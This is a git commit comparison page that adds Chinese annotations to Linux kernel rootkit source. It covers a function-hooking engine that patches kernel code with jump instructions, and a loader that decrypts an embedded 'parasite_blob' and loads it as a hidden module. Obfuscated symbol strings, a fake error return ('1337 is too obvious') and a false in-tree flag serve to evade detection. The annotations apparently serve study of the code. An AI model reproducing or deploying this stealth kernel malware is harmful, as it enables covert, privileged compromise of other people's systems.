Compare commits

...

2 Commits

Author SHA1 Message Date
waiwai 0b5f28d2b0 zrs 11.20 label
4 days ago
waiwai 14e548cace add read.docx
1 month ago

@ -0,0 +1,3 @@
{
"Codegeex.RepoIndex": true
}

@ -3,96 +3,130 @@
static khook_stub_t *khook_stub_tbl = NULL;
////////////////////////////////////////////////////////////////////////////////
/*
* callback function
* dataname
* dataaddr1
* 0
*/
static int khook_lookup_cb(long data[], const char *name, void *module, long addr)
{
int i = 0; while (!module && (((const char *)data[0]))[i] == name[i]) {
if (!name[i++]) return !!(data[1] = addr);
} return 0;
int i = 0;
while (!module && (((const char *)data[0]))[i] == name[i]) {
if (!name[i++]) return !!(data[1] = addr); // 找到匹配的符号设置地址并返回1
}
return 0; // 未找到匹配的符号返回0
}
/*
* kallsyms_on_each_symbol
* data[0]
* data[1]
* kernel all symbols
*/
static void *khook_lookup_name(const char *name)
{
long data[2] = { (long)name, 0 };
kallsyms_on_each_symbol((void *)khook_lookup_cb, data);
return (void *)data[1];
return (void *)data[1]; // 返回找到的符号地址
}
/*
* [addr, addr + len]
*/
static void *khook_map_writable(void *addr, size_t len)
{
struct page *pages[2] = { 0 }; // len << PAGE_SIZE
long page_offset = offset_in_page(addr);
int i, nb_pages = DIV_ROUND_UP(page_offset + len, PAGE_SIZE);
addr = (void *)((long)addr & PAGE_MASK);
addr = (void *)((long)addr & PAGE_MASK); // 对齐地址到页面边界
for (i = 0; i < nb_pages; i++, addr += PAGE_SIZE) {
if ((pages[i] = is_vmalloc_addr(addr) ?
vmalloc_to_page(addr) : virt_to_page(addr)) == NULL)
return NULL;
return NULL; // 如果无法获取页面返回NULL
}
addr = vmap(pages, nb_pages, VM_MAP, PAGE_KERNEL);
return addr ? addr + page_offset : NULL;
addr = vmap(pages, nb_pages, VM_MAP, PAGE_KERNEL); // 映射页面到内核地址空间
return addr ? addr + page_offset : NULL; // 返回映射后的地址
}
////////////////////////////////////////////////////////////////////////////////
#ifdef CONFIG_X86
# include "x86/hook.c"
# include "x86/hook.c" // 包含x86架构相关的钩子实现
#else
# error Target CPU architecture is NOT supported !!!
# error Target CPU architecture is NOT supported !!! // 不支持的CPU架构
#endif
////////////////////////////////////////////////////////////////////////////////
/*
*
*/
static void khook_wakeup(void)
{
struct task_struct *p;
rcu_read_lock();
for_each_process(p) {
wake_up_process(p);
wake_up_process(p); // 唤醒进程
}
rcu_read_unlock();
}
/*
*
*/
static int khook_sm_init_hooks(void *arg)
{
khook_t *p;
KHOOK_FOREACH_HOOK(p) {
if (!p->target.addr_map) continue;
khook_arch_sm_init_one(p);
khook_arch_sm_init_one(p); // 初始化单个钩子
}
return 0;
}
/*
*
*/
static int khook_sm_cleanup_hooks(void *arg)
{
khook_t *p;
KHOOK_FOREACH_HOOK(p) {
if (!p->target.addr_map) continue;
khook_arch_sm_cleanup_one(p);
khook_arch_sm_cleanup_one(p); // 清理单个钩子
}
return 0;
}
/*
*
*/
static void khook_resolve(void)
{
khook_t *p;
KHOOK_FOREACH_HOOK(p) {
p->target.addr = khook_lookup_name(p->target.name);
p->target.addr = khook_lookup_name(p->target.name); // 查找符号地址
}
}
/*
*
*/
static void khook_map(void)
{
khook_t *p;
KHOOK_FOREACH_HOOK(p) {
if (!p->target.addr) continue;
p->target.addr_map = khook_map_writable(p->target.addr, 32);
p->target.addr_map = khook_map_writable(p->target.addr, 32); // 映射地址
khook_debug("target %s@%p -> %p\n", p->target.name, p->target.addr, p->target.addr_map);
}
}
/*
*
*/
static void khook_unmap(int wait)
{
khook_t *p;
@ -100,17 +134,25 @@ static void khook_unmap(int wait)
khook_stub_t *stub = KHOOK_STUB(p);
if (!p->target.addr_map) continue;
while (wait && atomic_read(&stub->use_count) > 0) {
khook_wakeup();
msleep_interruptible(1000);
khook_wakeup(); // 唤醒进程
msleep_interruptible(1000); // 休眠1秒
khook_debug("waiting for %s...\n", p->target.name);
}
vunmap((void *)((long)p->target.addr_map & PAGE_MASK));
vunmap((void *)((long)p->target.addr_map & PAGE_MASK)); // 取消映射
p->target.addr_map = NULL;
}
}
////////////////////////////////////////////////////////////////////////////////
/* khook_init()和khook_cleanup()对挂钩引擎进行初始化和注销 */
/*
*
* 1. mallocstub
* 2. khook_resolve
* 3.
* 4. stop_machine
*/
int khook_init(void)
{
void *(*malloc)(long size) = NULL;
@ -135,19 +177,26 @@ int khook_init(void)
set_memory_x((unsigned long)khook_stub_tbl, numpages);
}
khook_resolve();
khook_resolve(); // 解析符号表
khook_map();
stop_machine(khook_sm_init_hooks, NULL, NULL);
khook_unmap(0);
khook_map(); // 映射地址
stop_machine(khook_sm_init_hooks, NULL, NULL); // 初始化钩子
khook_unmap(0); // 取消映射
return 0;
}
/*
*
* 1.
* 2. stop_machine
* 3.
* 4.
*/
void khook_cleanup(void)
{
khook_map();
stop_machine(khook_sm_cleanup_hooks, NULL, NULL);
khook_unmap(1);
vfree(khook_stub_tbl);
khook_map(); // 映射地址
stop_machine(khook_sm_cleanup_hooks, NULL, NULL); // 清理钩子
khook_unmap(1); // 取消映射
vfree(khook_stub_tbl); // 释放内存
}

@ -4,6 +4,15 @@
#define KHOOK_F_NOREF (1UL << 0) // don't do auto ref-count
/*
*
* fn
* name
* addr
* addr_map
* orig
*/
typedef struct {
void *fn; // handler fn address
struct {
@ -15,6 +24,13 @@ typedef struct {
unsigned long flags; // hook engine options (flags)
} khook_t;
/*
* funfunkhook_fun
*
* __attribute__((unused)
* __attribute__((aligned(1)))
* __attribute__((section(".data.khook"))).data.khook
*/
#define KHOOK_(t, f) \
static inline typeof(t) khook_##t; /* forward decl */ \
khook_t \

@ -6,3 +6,8 @@ SECTIONS
KHOOK_tbl_end = . ;
}
}
In engine.c, all hooks are allocated to the .data.khook section.
The above script means that all contents of .data.khook are placed in the .data section.
The '.' character represents the current location counter, so KHOOK_tbl points to the beginning of .data.khook, and KHOOK_tbl_end points to the end of KHOOK_tbl_end.
These two variables represent the start and end addresses of the hook table, KHOOK_tbl and KHOOK_tbl_end.

@ -20,6 +20,11 @@ extern khook_t KHOOK_tbl_end[];
#define KHOOK_FOREACH_HOOK(p) \
for (p = KHOOK_tbl; p < KHOOK_tbl_end; p++)
/*
* STUB
* STUBstub.incstub32.incstub
*
*/
typedef struct {
#pragma pack(push, 1)
union {

@ -6,11 +6,19 @@
#include <asm/insn.h>
/*
* typeof GCC
*
*
*/
static struct {
typeof(insn_init) *init;
typeof(insn_get_length) *get_length;
} khook_arch_lde;
/*
* insn_init insn_get_length
*/
static inline int khook_arch_lde_init(void) {
khook_arch_lde.init = khook_lookup_name("insn_init");
if (!khook_arch_lde.init) return -EINVAL;
@ -19,6 +27,11 @@ static inline int khook_arch_lde_init(void) {
return 0;
}
/*
* p
* insn_initinsn
* get_lengthinsnlength
*/
static inline int khook_arch_lde_get_length(const void *p) {
struct insn insn;
int x86_64 = 0;
@ -39,8 +52,8 @@ static inline int khook_arch_lde_get_length(const void *p) {
// place a jump at addr @a from addr @f to addr @t
static inline void x86_put_jmp(void *a, void *f, void *t)
{
*((char *)(a + 0)) = 0xE9;
*(( int *)(a + 1)) = (long)(t - (f + 5));
*((char *)(a + 0)) = 0xE9; //跳转指令的Opcode
*(( int *)(a + 1)) = (long)(t - (f + 5)); //偏移计算
}
static const char khook_stub_template[] = {
@ -52,20 +65,26 @@ static inline void stub_fixup(void *stub, const void *value) {
*(long *)stub = (long)value;
}
/*
*
* 使
* 便
*/
static inline void khook_arch_sm_init_one(khook_t *hook) {
khook_stub_t *stub = KHOOK_STUB(hook);
// 跳转指令的第一个字节是0xE9或0xCC表示已经被hook过了
if (hook->target.addr[0] == (char)0xE9 ||
hook->target.addr[0] == (char)0xCC) return;
BUILD_BUG_ON(sizeof(khook_stub_template) > offsetof(khook_stub_t, nbytes));
memcpy(stub, khook_stub_template, sizeof(khook_stub_template));
memcpy(stub, khook_stub_template, sizeof(khook_stub_template)); // 拷贝模板到stub中
stub_fixup(stub->hook, hook->fn);
while (stub->nbytes < 5)
stub->nbytes += khook_arch_lde_get_length(hook->target.addr + stub->nbytes);
memcpy(stub->orig, hook->target.addr, stub->nbytes);
x86_put_jmp(stub->orig + stub->nbytes, stub->orig + stub->nbytes, hook->target.addr + stub->nbytes);
memcpy(stub->orig, hook->target.addr, stub->nbytes); // 拷贝hook原函数到stub的orig中
x86_put_jmp(stub->orig + stub->nbytes, stub->orig + stub->nbytes, hook->target.addr + stub->nbytes); // 设置跳转
if (hook->flags & KHOOK_F_NOREF) {
x86_put_jmp(hook->target.addr_map, hook->target.addr, hook->fn);
} else {
@ -74,6 +93,10 @@ static inline void khook_arch_sm_init_one(khook_t *hook) {
hook->orig = stub->orig; // the only link from hook to stub
}
/*
*
*
*/
static inline void khook_arch_sm_cleanup_one(khook_t *hook) {
khook_stub_t *stub = KHOOK_STUB(hook);
memcpy(hook->target.addr_map, stub->orig, stub->nbytes);

@ -9,6 +9,7 @@
#include "encrypt.h"
// 定义 SYS_INIT_MODULE 宏,用于生成 "sys_init_module" 字符串
#define SYS_INIT_MODULE \
({ \
unsigned int *p = __builtin_alloca(16); \
@ -19,6 +20,7 @@
(char *)p; \
})
// 定义 __DO_SYS_INIT_MODULE 宏,用于生成 "__do_sys_init_module" 字符串
#define __DO_SYS_INIT_MODULE \
({ \
unsigned int *p = __builtin_alloca(24); \
@ -31,35 +33,44 @@
(char *)p; \
})
// 包含 parasite_blob.inc 文件中的数据
static char parasite_blob[] = {
#include "parasite_blob.inc"
};
// 内核符号表查找函数的回调函数
static int ksym_lookup_cb(unsigned long data[], const char *name, void *module,
unsigned long addr)
{
int i = 0;
while (!module && (((const char *)data[0]))[i] == name[i]) {
if (!name[i++])
return !!(data[1] = addr);
return !!(data[1] = addr); // 找到匹配的符号设置地址并返回1
}
return 0;
return 0; // 未找到匹配的符号返回0
}
// 查找符号表中的符号地址
static inline unsigned long ksym_lookup_name(const char *name)
{
unsigned long data[2] = {(unsigned long)name, 0};
kallsyms_on_each_symbol((void *)ksym_lookup_cb, data);
return data[1];
kallsyms_on_each_symbol((void *)ksym_lookup_cb, data); // 实现在khook/engine.c中
return data[1]; // 返回找到的符号地址
}
/*
* init_modulesys_init_module
* ksym_lookup_name
*/
int init_module(void)
{
int ret = -EINVAL;
asmlinkage long (*sys_init_module)(const void *, unsigned long, const char *) = NULL;
// 解密 parasite_blob 数据
do_decrypt(parasite_blob, sizeof(parasite_blob), DECRYPT_KEY);
// 查找 sys_init_module 函数的地址
sys_init_module = (void *)ksym_lookup_name(SYS_INIT_MODULE);
if (!sys_init_module)
@ -69,16 +80,21 @@ int init_module(void)
const char *nullarg = parasite_blob;
unsigned long seg = user_addr_max();
// 找到 parasite_blob 中的空字符
while (*nullarg)
nullarg++;
// 设置用户地址空间的最大值
user_addr_max() = roundup((unsigned long)parasite_blob + sizeof(parasite_blob), PAGE_SIZE);
if(sys_init_module(parasite_blob, sizeof(parasite_blob), nullarg) == 0) ret = -37; // would be 1337, but is too obvious. hahaha
user_addr_max() = seg;
user_addr_max() = seg; // 恢复用户地址空间的最大值
}
return ret;
}
/*
*
*/
MODULE_LICENSE("GPL");
MODULE_INFO(intree, "Y");
Loading…
Cancel
Save